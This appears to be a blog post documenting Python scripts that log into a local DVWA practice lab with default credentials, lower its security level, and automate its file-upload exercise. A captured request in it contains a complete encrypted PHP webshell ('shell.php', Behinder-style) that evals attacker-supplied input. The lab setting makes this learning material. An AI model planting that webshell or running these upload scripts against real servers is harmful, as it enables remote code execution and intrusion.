【Dvwa&Python】Dvwa文件上传python脚本(已实现)

Dvwa文件上传python脚本

参考资料

python模拟文件上传（multipart/form-data形式）
从Python脚本使用POST发送文件

核心代码-写在前面

headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1',
			'Cookie':a[0],
			'Referer':'http://localhost/DVWA/vulnerabilities/upload/'
			}
	files={
		'MAX_FILE_SIZE':(None,'100000'),
		'uploaded':('http_ninaimgcnjpeg.jpg',open('d:/http_ninaimgcnjpeg.jpg','rb'),'image/jpeg'),
		'Upload':(None,'Upload'),
		'user_token': (None,a[1])
	}
	print(files)
	url="http://localhost/DVWA/vulnerabilities/upload/"
	#res=requests.post(url,files=files,headers=headers)
	r=requests.post(url,files=files,headers=headers)
	print(r.text)

登录

import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup

def get_cookie_token(url_start):
	headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1'}
	res=requests.get(url_start,headers=headers)
	cookies=res.cookies
	print(type(cookies))
	html=res.text
	soup=BeautifulSoup(html,"html.parser")
	s=soup.find('input',type='hidden').get('value')
	#token=soup.form.contents[3]['value']
	#token=soup.form.input.input.intput.input["value"]
	#token=soup.find_all('input')[3]['value']#找input列第四个
	print(cookies.items())
	#通过下面这行代码修改cookies里面提交的security等级
	cook=cookies.items()
	cook[1]=('security','low')
	a=[(';'.join(['='.join(item)for item in cook]))]
	print(a)
	a.append(s)
	#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
	return a;

def Sign_in(url_start):
	headers={
	'Referer':'http://localhost/DVWA/login.php',
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	'Connection':'keep-alive',
	'Content-Length':'88',
	'Content-Type':'application/x-www-form-urlencoded',
	'Upgrade-Insecure-Requests':'1',
	'Cookie':a[0]}
	values={
		'username':'admin',
		'password':'password',
		'Login':'Login',
		'user_token':a[1]
	}
	datas=urllib.urlencode(values)
	response=requests.post(url_start,data=datas,headers=headers)

查看截获的数据包

下面是完整的burpsuite截断的请求数据包：

第一个是一个图片文件：

POST /DVWA/vulnerabilities/upload/ HTTP/1.1
Host: localhost
Content-Length: 45384
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycN6RcTS2dinYCv0J
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/DVWA/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=impossible; security=low; PHPSESSID=0qsc7bqrplkvoajud13qpemjk7
Connection: close

------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="uploaded"; filename="芳.jpg"
Content-Type: image/jpeg

����

��/����r�6�心)�i/T:�#��+{\���#QjA�b��]-j޻��JV��1�B�kH��BFw" ࡀ�z+���(��Ir��B���R�Q� �@�Hq# or����$�m������k������	;#q;��*������4��; ��ֽ��&��dF��

------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="user_token"

aff471e85b7e6106d8a7dcb44cb5c97f
------WebKitFormBoundarycN6RcTS2dinYCv0J--

对比性地上传一个木马文件：

POST /DVWA/vulnerabilities/upload/ HTTP/1.1
Host: localhost
Content-Length: 1154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRDv1akW6LuJG9bD9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/DVWA/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=impossible; security=low; PHPSESSID=0qsc7bqrplkvoajud13qpemjk7
Connection: close

------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="user_token"

9e3a4c89f1560a8cf077c42a4cf974f8
------WebKitFormBoundaryRDv1akW6LuJG9bD9--

根据博客文章，模仿写一个脚本

文件打开位置存在错误，还没有正确运行，欢迎评论指正。
shell.php E:/securitytools/Behinder_v3.0_Beta_6_win/server/shell.php
上传没有提示错误，但实际上查看文件并没有上传成功。

import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup

def get_cookie_token(url_start):
	headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1'}
	res=requests.get(url_start,headers=headers)
	cookies=res.cookies
	print(type(cookies))
	html=res.text
	soup=BeautifulSoup(html,"html.parser")
	s=soup.find('input',type='hidden').get('value')
	#token=soup.form.contents[3]['value']
	#token=soup.form.input.input.intput.input["value"]
	#token=soup.find_all('input')[3]['value']#找input列第四个
	print(cookies.items())
	#通过下面这行代码修改cookies里面提交的security等级
	cook=cookies.items()
	cook[1]=('security','low')
	a=[(';'.join(['='.join(item)for item in cook]))]
	print(a)
	a.append(s)
	#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
	return a;

def Sign_in(url_start):
	headers={
	'Referer':'http://localhost/DVWA/login.php',
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	'Connection':'keep-alive',
	'Content-Length':'88',
	'Content-Type':'application/x-www-form-urlencoded',
	'Upgrade-Insecure-Requests':'1',
	'Cookie':a[0]}
	values={
		'username':'admin',
		'password':'password',
		'Login':'Login',
		'user_token':a[1]
	}
	datas=urllib.urlencode(values)
	response=requests.post(url_start,data=datas,headers=headers)
def file_upload():
	url="http://localhost/DVWA/login.php"
	a=get_cookie_token(url)
	Sign_in(url)
	files={
		'MAX_FILE_SIZE':(None,'100000'),
		'uploaded':('http_ninaimgcnjpeg.jpg',open('‪C:/Users/Lenovo/Pictures/Saved Pictures/http_ninaimgcnjpeg.jpg','rb'),'image/jpeg'),
		'Upload':(None,'Upload'),
		'user_token':(None,a[1])
	}
	headers={
		'Referer':'http://localhost/DVWA/vulnerabilities/upload/',
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
		'Connection':'keep-alive',
		'Content-Length':'88',
		'Content-Type':'application/x-www-form-urlencoded',
		'Upgrade-Insecure-Requests':'1',
		'Cookie':a[0]}
	url="http://localhost/DVWA/vulnerabilities/upload/"
	res=requests.post(url,files=files,headers=headers)
	print(res.text)
if __name__ == '__main__':
	url="http://localhost/DVWA/login.php"
	a=get_cookie_token(url)
	Sign_in(url)
	cookies=a[0]
	user_token=a[1]
	file_upload()

已实现

开心(^-^)
上述错误，有的是因为路径无法读取，所以将图片移植到一个不带空格的，没有汉字的，d盘根目录下。
IOError: [Errno 22] invalid mode (‘rb’) or filename: ’\u202a’ / '\xe2\x80\xaa’
关于python在Windows中直接复制文件路径字符串中有’\xe2\x80\xaa’,导致文件读取失败
修改了部分代码表述，因为无法访问到upload界面，重新找到了之前成功登陆的brute force的代码，移植了过来。
核心代码不变

files=
{
}
r=requests.post(url,files=files,headers=headers)

七龙珠的故事就这样结束了

import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup

def get_cookie_token(url_start):
	headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1'}
	res=requests.get(url_start,headers=headers)
	cookies=res.cookies
	print(type(cookies))
	html=res.text
	soup=BeautifulSoup(html,"html.parser")
	s=soup.find('input',type='hidden').get('value')
	#token=soup.form.contents[3]['value']
	cook=cookies.items()
	cook[1]=('security','medium')
	a=[(';'.join(['='.join(item)for item in cook]))]
	a.append(s)
	#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
	return a;

def Sign_in(url_start):
	headers={
	'Referer':'http://localhost/DVWA/login.php',
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	'Connection':'keep-alive',
	'Content-Length':'88',
	'Content-Type':'application/x-www-form-urlencoded',
	'Upgrade-Insecure-Requests':'1',
	'Cookie':a[0]}
	values={
		'username':'admin',
		'password':'password',
		'Login':'Login',
		'user_token':a[1]
	}
	datas=urllib.urlencode(values)
	response=requests.post(url_start,data=datas,headers=headers)

	
if __name__ == '__main__':
	url="http://localhost/DVWA/login.php"
	a=get_cookie_token(url)
	Sign_in(url)
	headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1',
			'Cookie':a[0],
			'Referer':'http://localhost/DVWA/vulnerabilities/upload/'
			}
	files={
		'MAX_FILE_SIZE':(None,'100000'),
		'uploaded':('http_ninaimgcnjpeg.jpg',open('d:/http_ninaimgcnjpeg.jpg','rb'),'image/jpeg'),
		'Upload':(None,'Upload'),
		'user_token': (None,a[1])
	}
	print(files)
	url="http://localhost/DVWA/vulnerabilities/upload/"
	r=requests.post(url,files=files,headers=headers)
	print(r.text)
posted @ 2021-04-12 15:52  flybird2008  阅读(11)  评论(0)    收藏  举报  来源